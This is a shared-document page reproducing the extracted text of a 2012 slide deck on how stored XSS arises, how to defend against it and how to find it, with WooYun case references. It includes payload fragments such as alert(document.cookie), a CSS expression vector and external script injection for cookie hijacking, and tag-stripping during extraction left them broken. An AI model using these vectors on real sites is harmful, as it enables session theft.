存储型Xss成因及挖掘方法

上传人:宝路 文档编号:5024097 上传时间:2017-11-10 格式:PPTX 页数:25 大小:1.50MB
返回 下载 相关 举报
存储型Xss成因及挖掘方法_第1页
第1页 / 共25页
存储型Xss成因及挖掘方法_第2页
第2页 / 共25页
存储型Xss成因及挖掘方法_第3页
第3页 / 共25页
存储型Xss成因及挖掘方法_第4页
第4页 / 共25页
存储型Xss成因及挖掘方法_第5页
第5页 / 共25页
点击查看更多>>
资源描述

《存储型Xss成因及挖掘方法》由会员分享,可在线阅读,更多相关《存储型Xss成因及挖掘方法(25页珍藏版)》请在金锄头文库上搜索。

1、存储 型 XSS的成因及挖掘方法USERID: Gainover (g_)GROUP: PKAV Group2012-7- | www.wooyun.org| 什么是 XSS攻击?个人资料信息填写发表一篇日志发表一篇留言发表一篇评论提出一个问题回答一个问题.地址栏参数Dom属性攻 击 者注入 恶 意代 码输 入 过滤输 出 过滤输入 输出代码缺陷查看他人资料查看一篇日志查看一条留言查看一个评论查看一个问题查看一个答案点开一个链接点开一个邮件恶 意代 码执 行受害者XSS模型当受害者变为攻击者时,下一轮受害者将更容易被攻击,威力更加明显!用 户 信息私密信息:日志,相片,邮件管理信息后台地址,管

2、理员帐号信息甚至直接通过 Ajax上传 Shell 客 户 端信息针对浏览器缺陷实施攻击突破 浏览 器的域限制360, 傲游等浏览器的命令执行XSSXss蠕虫攻 击DDoS攻 击XSS攻击可以用来做什么?XSS的种类划分反射型 XSSReflected XSS存 储 型 XSSStored XSS恶意代码存放位置地址栏数据库恶意代码效果用户点击恶意链接打开时执行恶意代码,隐蔽性差http:/www.wooyun.org用户浏览带有恶意代码的正常页面 时触发,隐蔽性强http:/A B C D12Non-persistentPersistent反射型 XSSXSS Filter 扫 描器 WAF

3、产 品但是危害越来越小 .但是容易被扫 .但是容易被干掉 XSS攻击的现状存 储 型 XSS广泛存在存储型 XSS的分类输 出内容输 出未 过滤HTML-ContextJS-ContextCss-Context输 出已 过滤Dom-Based操作evalinnerHTMLsetTimeoutsetIntervaldocument.write根据输出内容所处的位置来分类。经常需要二次过滤,但程序员忽略掉了。会自 动发 生一些 转义Flash-based XSS其它 /HTML文件HTML-Context 存储型 XSS 及 防御wooyun-2010-07831 (random_) 百度某分站存

4、储型 XSS恶 意代 码 的 输 入恶 意代 码 的 输 出恶 意代 码 的 执 行替 换为 判断存在 ,禁止提交JS-Context 存储型 XSS 及其防御wooyun-2010-09111 (gainover) 点点网存储型 XSSJS-Context 存储型 XSS的利用方式 :1. 闭合当前脚本,然后输入自定义内容。2. 根据 JS上下文,构造正确的闭合。过滤 ,/ 替换 为 (网易邮箱 )根据实际情况,进行过滤。通常输出是字符串,在 和 之间,过滤 ,即可wooyun-2010-02321(Clouds) 百度贴吧存储型 XSSJS-Context 存储型 XSS 及其防御和 中的

5、 XSS一 样 , 过滤 和 而实际上,在 HTML的属性里, &#NNN; 或 &#xNN;也是可以被执行的!进一步构造利用代码还 需要将 &过滤为 &字符 转义 " / '> / \/ /CSS-Context 存储型 XSS 及其防御通常情况下,可能会将 过滤掉了,因而无法使用此方式1. 如果未做过滤,可以用 的方式来调用CSS-Context 存储型 XSS的利用方式 :2. 直接根据 CSS上下文构造闭合根据 CSS类型对输出进行严格纠正例如:字体大小,必须为数字,图片地址不允许出现非法字符IE 6, 7, 8wooyun-2010-

6、05967 (gainover, QQ空间存储型 XSS)wooyun-2010-01101 (呆子不开口 , 网易微博换肤 XSS)5. http:/zone.wooyun.org/content/465CSS-Context 存储型 XSS 及其防御除了 .中可以被写入 CSS数据之外,还有其它位置也可以:2. 3. import data:,*%7bx:expression(if(!window.x)%7balert(1);window.x=1%7d)%7D;1. 4. XXX(邮箱 XSS的最爱 )(部分内容参考 html5sec.org)Dom-based 存储型 XSS 及其防御数

7、据输出我是 输 出 var x=$(x).value;var x=$(x).getAttribute(picurl);var obj=eval(+x+);$(result).innerHTML=x;DOM操作Dom-based 存储型 XSS 及其防御name 字段是昵称,我们可以自行设置!接着我们做以下测试:Gainover Gainover对 JS熟悉一点的则可能想到:于是,我们测试引号是否被过滤 !Gainover Gainover放弃?var data=$(json).value;wooyun-2010-09732 (gainover,百度首页 XSS后门 )Dom-based 存储型

8、 XSS 及其防御这一类漏洞经常出现的场景 . 点击查看大图 , 点击播放音乐 ,自动播放音乐。当用户点击查看大图的时候,执行的代码往往是:function test()alert($(pic).getAttribute(bigpic);$(bigimage).innerHTML=;wooyun-2010-02490 (gainover, 腾讯微博 XSS)wooyun-2010-03317 (gainover,QQ邮箱音乐功能 XSS)共同点:读取自定义属性,然后进行 innerHTML操作。解决方案:在读取属性之后,对属性中的特殊字符进行二次过滤。Dom-based 存储型 XSS 及其防

9、御.innerHTML=uXXXX 引发的惨案wooyun-2010-08487 (gainover,腾讯 WEBQQ聊天功能 XSS)实际案例大多数厂商的做法将 替换为 将 替换为 /对 data.name进行二次过滤,替换 为 wooyun-2010-010167 (imlonghao, 搜狐微博 XSS)Flash-based 存储型 XSS 及其防御Flash XSS存 储 型反射型正常的存储行为图片上传组件,视频播放器,音乐播放器 日志 HTML未过滤,或过滤不严FLASH相册,对加载图片未判断其它一些有加载图片功能的 FLASH应用第三方插件第三方应用sameDomain策略Fla

10、sh-based 存储型 XSS 及其防御常规的 Flash-based存储型 XSS1. 最低级的漏洞Always & FLASH地址任何填写wooyun-2010-07684 (gainover, QQ空间礼物功能 XSS)wooyun-2010-08354 (gainover,百度贴吧存储型 XSS)2. 稍微进化一点 Always & FLASH地址固定 &FLASH会调用外部图片或SWF文件正常的 FLASH 恶 意 FLASH参数 ?url=xxx.jpg 读 取配置文件 xxx.jpgwooyun-2010-01768 (p.z, 新浪微博存储型 XSS)wooyun-2010-

11、01634 (p.z, 百度 i贴吧存储型 XSS)Flash-based 存储型 XSS 及其防御3. 再次进化一点 sameDomain + 同域名下反射型 FLASH XSSsameDomain策略只允 许 使用同域名下的 FLASH文件无法执行了吧,高枕无忧同域名下的缺陷型 FLASH文件不同域名下的 恶 意 FLASH文件 程序员 B程序员 A被恶意利用同域名下允 许 上 传 FLASH文件某黑客wooyun-2010-03314 (gainover, QQ邮箱 XSS)wooyun-2010-06103 (gainover, QQ空间存储型 XSS)allowscriptacces

12、s=sameDomainallowscriptaccess 默认属性Flash-based 存储型 XSS 及其防御flash.external.ExternalInterface.call(JS代码 )navigateToURL(new URLRequest(JS代码 )getURL(JS代码 );loaderInfo.parametersxxx.swf?func = JS代 码 flashvars=func=JS代 码 A百度应用 iframeA (本身是开发者 )攻击反射型 FLASH XSS1. FLASH开发人员缺乏安全意识(jwplayer, open flash chart, s

13、wfupload类程序 )2. FLASH XSS 可以绕过主流浏览器的 XSS Filter3. 传统扫描器不易扫描WooYun-2012-07050Wooyun-2010-07085(新浪微博,淘宝网 Cookies盗取 )Wooyun-2010-08318(gainover,百度应用 XSS)Flash-based 存储型 XSS 及其防御受害者 http:/ j(w)window.s=document.createElement(script);window.s.src=/ http:/ vfwebqq参数http:/ 调用外部 JS获取 cookies劫持腾讯 WEBQQ的持久劫持

14、Wooyun-2010-07999存储型 XSS 的挖掘方法1. 拿着各种 XSS Vector填入到输入处,然后看页面是否有 “ 执行 ”2. 输入一些可能没有被过滤的字符, /&XXXXX,看 “ 侧漏 ”&3. 看功能异常,看报错&构造利用代 码查 明缺陷检查原因存储型 XSS 的挖掘方法1. 传统输入点各种表单, inputtext, textarea2. 隐藏输入点Inputhidden3. 客户端脚本过滤进 一步 测试浏览器调试工具 (F12)抓包工具HttpwatchFiddlerCharles4. 遭遇验证码看到一些提交的隐藏参数。存储型 XSS 的利用找到一个 XSS点之后 alert(/xss/);alert(document.cookie);输 入点 长 度限制 突破长

展开阅读全文
相关资源
正为您匹配相似的精品文档
相关搜索

最新文档


当前位置:首页 > 高等教育 > 大学课件

电脑版 |金锄头文库版权所有
经营许可证:蜀ICP备13022795号 | 川公网安备 51140202000112号